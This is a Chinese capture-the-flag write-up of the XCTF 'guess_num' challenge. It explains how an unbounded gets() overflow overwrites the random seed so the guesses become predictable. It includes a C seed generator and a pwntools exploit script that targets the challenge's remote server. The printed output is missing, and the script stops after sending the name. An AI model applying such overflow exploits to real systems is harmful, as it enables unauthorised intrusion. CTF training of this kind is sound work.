攻防世界pwn新手区—guess_num
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启部分RELRO----got表扔可写
开启canary----栈上存在cookie信息导致栈溢出发生异常中断程序
开启了NX保护-----注入的shellcode无法执行
开启PIE----程序内存地址随机化,程序在ida或gdb中的地址都不是真实地址
动态链接
程序是让我们先输入一个名字,然后猜数字,很难猜,直接ida看伪代码
存在一个危险函数gets,(输入的v7不限制大小)
之后是设置了一个随机数种子(种子位置是seed首地址处)
查看一下栈空间
v7距离seed0x20字节,(考虑可以通过gets函数输入过多数据覆盖seed为我们想要的值)
用for循环产生10个数字,让我们输入,如果我们输入的数字和系统产生的数字一样,则可以通过这个for循环
查看一下后面的函数 sub_C3E()
system系统调用,直接获得flag!!!
思路:
首先通过gets函数覆盖seed为我们规定的值(本文按1算),用c语言产生随机数种子为1的10个随机数
然后把这些数输入到程序中,直接获得shell
c代码
#include<stdio.h>
#include<stdlib.h>
int main()
{
int i,x;
srand(1);
for(i=0;i<=9;i++)
{
x = rand() % 6 + 1;
printf("%d\n",x);
}
return 0;
}
运行输出为
exp
'''
控制随机数种子为1(或其他数)来获得flag
'''
from pwn import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'amd64')
sh = remote('111.200.241.244',64811)
payload = flat(['a' * 0x20,1])
sh.recvuntil('Your name:')
sh.sendline(payload)
sh.interactive()
执行获得flag